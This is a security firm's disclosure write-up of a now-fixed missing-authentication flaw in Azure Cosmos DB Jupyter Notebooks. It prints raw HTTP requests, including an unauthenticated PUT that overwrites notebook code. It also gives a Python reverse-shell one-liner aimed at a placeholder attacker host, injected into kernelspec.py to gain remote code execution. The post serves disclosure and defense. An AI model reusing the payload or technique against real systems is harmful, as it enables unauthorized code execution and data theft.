Nov 01, 2022
10 Minutes
We recently found a highly important vulnerability on Azure Cosmos DB, where authentication checks were missing from Cosmos DB Notebooks. We named it ‘CosMiss’. In short, if an attacker had knowledge of a Notebook’s ‘forwardingId’, which is the UUID of the Notebook Workspace, they would have had full permissions on the Notebook, including read and write access, and the ability to modify the file system of the container running the notebook. By modifying the container file system (aka dedicated workspace for temporary notebook hosting) we were able to obtain Remote Code Execution (RCE) in the notebook container.
Upon finding the vulnerability, the Orca Research Pod immediately reported it to the Microsoft Security Response Center (MSRC), who fixed the important issue within two days, which is impressive and a much faster response than the SynLapse vulnerability that we discovered in Azure Synapse. We verified the fix and can confirm that now all Cosmos DB Notebook users require an Authorization token in the request Header before being able to access a Notebook. We would like to thank Microsoft for the co-operation and their fast action to secure this vulnerability.
The CosMiss vulnerability was found in Cosmos DB Jupyter Notebooks. Azure Cosmos DB is a fast NoSQL database. Azure Cosmos DB includes Jupyter Notebooks, which is an open-source interactive developer environment (IDE) that allows developers to create, execute, and share documents that contain live code, equations, visualizations, and narrative text. Since Cosmos DB Notebooks are used by developers to create code, they can contain highly sensitive information such as secrets and private keys embedded in the code.
To demonstrate the vulnerability, we created a Cosmos DB using the Azure Table API and Serverless Capacity mode. The exploit is also validated on Core SQL api (recommended) and provisioned throughput deployment.
The notebooks feature in Cosmos DB Data Explorer blade allows customers to access and visualize their data using the Jupyter capabilities (in Python, C# or other runtimes). In addition, customers use this feature to examine data from the Cosmos DB combined with other data sources which can be integrated using their APIs.
When a user creates a new Notebook, the following endpoint is created by the phoenixServiceUrl, which generates the items below:
POST /api/controlplane/toolscontainer/cosmosaccounts/subscriptions/[tenant-id]/resourceGroups/Orca-Research/providers/Microsoft.DocumentDB/databaseAccounts/orca-cosmos-dev/containerconnections/multicontainer HTTP/2 Host: tools.cosmos.azure.com Content-Length: 88 Sec-Ch-Ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105" Authorization: Bearer eyJ0eXAiOiJKV1QiLdaaaxxWMFRPSSIsImtpZCI6IjJaUXBKM1VwYmpBWVhZR2FYRUpsOGxWMFRPSSJ9.eyJhdWQddaaam5ldC8yMjdkY2ExZC1iMWE1LTQ0MDEtYTVmZi05N2Q5OTMxZWE4YmUvIiwiaWF0IjoxNjY0NzE4NTI3LCJuYmYiOjE2NjQ3MTg1MjcsImV4cCI6MTY2NDcyMzIxOSwiYWNyIjoiMSIsndkbkZ3d1lKQUNNNjJjdmkrbERTVnRpQWIvdEpDOW9HV2VFd2pwWGhsL2x3aStzVzZWWHB5UmV5ZFpwMVgiLCJhdI0N2QtOTc0ZTUzY2JkZjNjIiwiYXBwaWRhY3Icadasdddddab3NtbyIsIm9pZCI6IjNhMzJkNmU1LWEyYzMtNGM5MS1iOTA5LTc0N2YxNjQ2NDg3MSIsInB1aWQiOiIxMDAzMjAwMjM2RUJBODZEIiwicmgiOiIwLkFZSUFIY3A5SXFXeEFVU2xfNWZaa3g2b3ZrWklmM2tBdXRkUHVrUGF3ZmoyTUJPQ0FHay4iLCJzY3AiOiJ1c2VyX2ltcGVyc29uYXRpb24iLCJzdWIiOiJZTElsRzB1anZDaktlSWo5OHozRk94R3ZvTjl2Umx3UFRtczlOa1dfQng0IiwidGlkIjoiMjI3ZGNhMWQtYjFhNS00NDAxLWE1ZmYtOTdkOTkzMWVhOGJlIiwidW5pcXVlX25hbWUiOiJjb3Ntb0BvcmNhc2VjdXJpdHlyZXNlYXJjaC5vbm1pY3Jvc29mdC5jb20iLCJ1cG4iOiJjb3Ntb0BvcmNhc2VjdXJpdHlyZXNlYXJjaC5vbm1pY3Jvc29mdC5jb20iLCJ1dGkiOiJuZ3VDVm1qZFhrS3RUSW5BaG9GbEFBIiwidmVyIjoiMS4wIiwieG1zX3RjZHQiOjE2MTg4MTYwODl9.Gyd3LXwzBG1yj-JfO0PCXOyD0exC7U-MCXwJBdsadcadad3xLIRZ7NqBq5BhE0WXLV2cgziYf-CAT9QT6oy1yIn58RaRdMojlVbhCpxlfFTdnsOXiorzNwTHzcwwvWsM4fbl2vV-RKMO Content-Type: application/json Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Sec-Ch-Ua-Platform: "macOS" Accept: / Origin: https://cosmos.azure.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://cosmos.azure.com/ Accept-Encoding: gzip, deflate Accept-Language: en-IL,en;q=0.9,he-IL;q=0.8,he;q=0.7,en-US;q=0.6,pl;q=0.5 {"cosmosEndpoint":"https://orca-cosmos-dev.documents.azure.com:443/","poolId":"default"}
The response is:
We can see that the following items were created:
We can see the following endpoints that are being sent by the server in the backend:
Our current forwardingId seems to be 27f180bc-cf93-4c42-b23e-f27a5085da57
<https://seasia.tools.cosmos.azure.com:10007/api/containergateway/27f180bc-cf93-4c42-b23e-f27a5085da57/api/contents/>
By reviewing the various requests that are being sent by our notebook server (i.e https://seasia.tools.cosmos.azure.com:10007/), it seems that all requests that are sent to the server contain an Authorization Header as we can see from the following screenshot:
When we try to remove the Authorization Header and send the same request, we see that No Authorization Header is required to list the different Notebooks for the same server.
https://seasia.tools.cosmos.azure.com:10007/api/containergateway/27f180bc-cf93-4c42-b23e-f27a5085da57/api/contents/notebooks
Since the Cosmos DB Table and Python Query is Jupyter Based (+Tornado Server), we can review the various endpoints that are part of the platform:
<https://github.com/jupyter-server/kernel_gateway/blob/master/kernel_gateway/jupyter_websocket/swagger.json>](<https://github.com/jupyter-server/kernel_gateway/blob/master/kernel_gateway/jupyter_websocket/swagger.json>)#36
When reviewing the various Security Definitions, we can assume that the current Security Configurations are not set correctly by default, since the Authorization method is required to be set with an Authorization Header or Query string.
With that in mind, we can now try to abuse this misconfiguration to manipulate the various notebooks and templates.
Let’s now try to overwrite the current Notebook data. First, we write some sample code in the notebook.
Then we save it –
We can also Review the Notebook (Untitled.ipynb) via Burp –
In addition we can grab the kernel_id from the following endpoint:
<https://seasia.tools.cosmos.azure.com:10002/api/containergateway/ab83e033-1670-4bac-a186-32a1c0dddfbc/api/kernels/>
Sending the above request would give us the following ids –
Now let’s overwrite a random Notebook by sending a PUT request to the Notebook itself with the following JSON payload (see Body):
PUT /api/containergateway/27f180bc-cf93-4c42-b23e-f27a5085da57/api/contents/notebooks/Untitled.ipynb HTTP/2 Host: [seasia.tools.cosmos.azure.com:1000](<http://seasia.tools.cosmos.azure.com:10005/>)7 Content-Length: 983 Sec-Ch-Ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105" Content-Type: application/json Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Sec-Ch-Ua-Platform: "macOS" Accept: */* Origin: [<https://cosmos.azure.com>](<https://cosmos.azure.com/>) Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: [<https://cosmos.azure.com/>](<https://cosmos.azure.com/>) Accept-Encoding: gzip, deflate Accept-Language: en-IL,en;q=0.9,he-IL;q=0.8,he;q=0.7,en-US;q=0.6,pl;q=0.5 {"kernel":{"id":null,"name":"python3"},"name":"", "content": {"cells": [{"cell_type": "code", "execution_count": 1, "id": "47bdbef0-ea14-4960-8789-7983e63312dd", "metadata": {"collapsed": true, "execution": {"iopub.execute_input": "2022-10-02T08:06:27.283Z", "iopub.status.busy": "2022-10-02T08:06:27.277Z", "iopub.status.idle": "2022-10-02T08:06:27.299Z", "shell.execute_reply": "2022-10-02T08:06:27.292Z"}, "jupyter": {"outputs_hidden": false, "source_hidden": false}, "nteract": {"transient": {"deleting": false}}, "trusted": true}, "outputs": [{"name": "stdout", "output_type": "stream", "text": "hacked\\n"}], "source": "print('Hacked!')"}], "metadata": {"language_info": {"file_extension": "ipynb", "mimetype": "application/json", "name": "python", "version": "3.7"}, "nteract": {"version": "dataExplorer 1.0"}}, "nbformat": 4, "nbformat_minor": 5}, "format": "json", "mimetype": null, "size": 993, "writable": true, "path":"notebooks/Untitled.ipynb","type":"notebook"}
We then check the updated notebook by exiting the notebook itself (X sign) and then refreshing the tables/notebooks by hitting the Refresh button to the right of the Tables API title:
We can see that the code in the Notebook was overwritten by sending the crafted payload directly to the server. We also managed to retrieve any Notebook and delete and inject code into it, regardless of whether we were connected to Azure, or simply an unauthenticated user.
In the video below, we demonstrate the above proof of concept
When loading the Cosmos Data Explorer via the Azure UI, the Explorer Dashboard is being built by the following file:
/home/cosmosuser/.local/lib/python3.6/site-packages/jupyter_client/kernelspec.py
Now, since we managed to overwrite any files in the /home/cosmosuser directory, we can manipulate the file and add the following lines to it –
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\"ATTACKER_ID\\",ATTACKER_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\\"/bin/bash\\")
In this way, when Data Explorer is loaded, this part of the entire python code will be executed as well, and will eventually give any remote attacker a reverse shell over the client.
Modifying the file by sending a PUT request with the file original content + the RCE lines:
After refreshing the Data Explorer Page we should get a reverse shell.
The following video demonstrates this RCE:
The Orca Research Pod discovers and analyzes cloud risks and vulnerabilities to strengthen the Orca platform and promote cloud security best practices. Orca’s expert security research team has discovered several critical vulnerabilities in public cloud provider platforms, and continues to investigate different cloud products and services to find zero-day vulnerabilities before any malicious actors do. So far this year, Orca has announced seven major vulnerabilities in Azure and AWS, and worked with cloud and service providers to resolve them.
Orca Security provides the industry-leading agentless Cloud Security Platform that identifies, prioritizes, and remediates risks and compliance issues across your cloud estate spanning AWS, Azure, Google Cloud and Kubernetes. Orca’s platform connects to your environment in minutes and provides 100% visibility of all your assets, detecting and prioritizing cloud risks across every layer of your cloud estate.